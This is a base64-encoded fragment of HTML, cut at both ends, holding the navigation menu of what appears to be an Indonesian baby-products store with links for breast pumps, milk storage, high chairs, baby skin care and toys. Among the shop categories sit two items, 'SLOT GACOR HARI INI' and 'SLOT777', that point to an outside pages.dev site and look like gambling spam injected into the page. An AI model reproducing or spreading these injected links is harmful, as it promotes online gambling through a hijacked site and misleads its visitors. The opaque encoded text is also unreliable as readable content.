CAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImtzX2NvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZmVlZGluZy1zYWZldHkvYnJlYXN0ZmVlZGluZy9icmVhc3QtcHVtcHMtbWlsay1zdG9yYWdlLmh0bWwiPnBvbXBhIGFzaTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9mZWVkaW5nLXNhZmV0eS9icmVhc3RmZWVkaW5nL2JyZWFzdC1wdW1wcy1taWxrLXN0b3JhZ2UvbWlsay1zdG9yYWdlLmh0bWwiPnBlbnlpbXBhbmFuIGFzaTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9mZWVkaW5nLXNhZmV0eS9icmVhc3RmZWVkaW5nL2Nvb2xlci1iYWdzLmh0bWwiPmNvb2xlciBiYWdzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gNSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gNS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZmVlZGluZy1zYWZldHkvaGlnaC1jaGFpcnMuaHRtbCI%2Ba3Vyc2kgbWFrYW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gNSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGlkPSJ2ZXNpdGVtLTg4NDY3MTc0MjMwODA2MTIxMjIxNzY2NDciIGNsYXNzPSIgbmF2LWl0ZW0gbGV2ZWwwIHN1Ym1lbnUtbGVmdCBzdWJob3ZlciAgZHJvcGRvd24gbGV2ZWwtdG9wICI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgc3R5bGU9Im1heC1saW5lczogMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDIwcHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOjEwMCU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZToxMnB4O3doaXRlLXNwYWNlOiBub3dyYXA7IiBjbGFzcz0iIG5hdi1hbmNob3IiPjxzcGFuPlNMT1QgR0FDT1IgSEFSSSBJTkk8L3NwYW4%2BPHNwYW4gY2xhc3M9ImNhcmV0Ij48L3NwYW4%2BPHNwYW4gY2xhc3M9Im9wZW5lciI%2BPC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VibWVudSBhbmltYXRlZCAgZHJvcGRvd24tbWVudSIgc3R5bGU9IndpZHRoOjEwMCU7YW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lZ2FtZW51LWNvbnRlbnQiIHN0eWxlPSJ3aWR0aDoxMDAlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWRyb3Bkb3duIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiAxLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPnBlcmF3YXRhbiBiYXlpPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJ0ZV9heiIgc3R5bGU9InBhZGRpbmc6MDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImtzX2NvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmF0aGluZy1jYXJlL2JhYnljYXJlL3NraW4tY2FyZS5odG1sIj5wZXJhd2F0YW4ga3VsaXQ8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmF0aGluZy1jYXJlL2JhYnljYXJlL3N1bnNjcmVlbi5odG1sIj5TdW5zY3JlZW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmF0aGluZy1jYXJlL2JhYnljYXJlL3NoYW1wb28tYW5kLWJvZHktd2FzaC5odG1sIj5TaGFtcG8gJmFtcDsgU2FidW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmF0aGluZy1jYXJlL2JhYnljYXJlL2hhaXItdHJlYXRtZW50Lmh0bWwiPnBlcmF3YXRhbiByYW1idXQ8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmF0aGluZy1jYXJlL2JhYnljYXJlL29yYWwtY2FyZS5odG1sIj5wZXJhd2F0YW4gbXVsdXQ8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmF0aGluZy1jYXJlL2JhYnljYXJlL2dyb29taW5nLWtpdC5odG1sIj5wZXJhd2F0YW4gZGlyaTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDEgIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDEtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL21hdGVybml0eS9tdW0tcy1jYXJlLmh0bWwiPnBlcmF3YXRhbiBpYnU8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMy0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5rZXNlaGF0YW4gJmFtcDsga2ViZXJzaWhhbjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idGVfYXoiIHN0eWxlPSJwYWRkaW5nOjA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJrc19jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhdGhpbmctY2FyZS9oZWFsdGgtYW5kLWh5Z2llbmUvd2lwZXMuaHRtbCI%2BVGlzc3VlIGJhc2FoPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhdGhpbmctY2FyZS9oZWFsdGgtYW5kLWh5Z2llbmUvbGF1bmRyeS1jbGVhbmluZy5odG1sIj5MYXVuZHJ5ICZhbXA7IENsZWFuaW5nPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhdGhpbmctY2FyZS9oZWFsdGgtYW5kLWh5Z2llbmUvbWVkaWNhbC5odG1sIj5NZWRpY2FsPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhdGhpbmctY2FyZS9oZWFsdGgtYW5kLWh5Z2llbmUvYWlyLXB1cmlmaWVyLWFuZC1odW1pZGlmaWVyLmh0bWwiPkFpciBQdXJpZmllciAmYW1wOyBIdW1pZGlmaWVyPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMy0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDEtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhdGhpbmctY2FyZS9iYXRoaW5nL3BvdHRpZXMuaHRtbCI%2BcG90dHk8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmF0aGluZy1jYXJlL2JhdGhpbmcvYmF0aHMuaHRtbCI%2BYmFrIG1hbmRpPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDEgIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDEtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JhdGhpbmctY2FyZS9iYXRoaW5nL3Rvd2Vscy5odG1sIj5oYW5kdWs8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGlkPSJ2ZXNpdGVtLTg4NDcwMTc0MjMwODA2MTcwODc4NDA4IiBjbGFzcz0iIG5hdi1pdGVtIGxldmVsMCBzdWJtZW51LWxlZnQgc3ViaG92ZXIgIGRyb3Bkb3duIGxldmVsLXRvcCAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iIHN0eWxlPSJ3aGl0ZS1zcGFjZTogbm93cmFwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXNpemU6MTJweDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiBjbGFzcz0iIG5hdi1hbmNob3IiPjxzcGFuPlNMT1Q3Nzc8L3NwYW4%2BPHNwYW4gY2xhc3M9ImNhcmV0Ij48L3NwYW4%2BPHNwYW4gY2xhc3M9Im9wZW5lciI%2BPC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VibWVudSBhbmltYXRlZCAgZHJvcGRvd24tbWVudSIgc3R5bGU9IndpZHRoOjEwMCU7YW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lZ2FtZW51LWNvbnRlbnQiIHN0eWxlPSJ3aWR0aDoxMDAlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWRyb3Bkb3duIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiAxLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii90b3lzLWFjdGl2aXR5L2JvdW5jZXJzLXdhbGtlcnMuaHRtbCI%2BYXl1bmFuIGRhbiB3YWxrZXIgYmF5aTwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGNvbHVtbiAxICAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLWNvbHVtbiAxLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yIGNvbC1zbS0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii90b3lzLWFjdGl2aXR5L2JhYnktZ3ltcy1wbGF5bWF0cy5odG1sIj5hbGFzIGJlcm1haW4gYW5hayBiYXlpPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDEgIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDMtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVu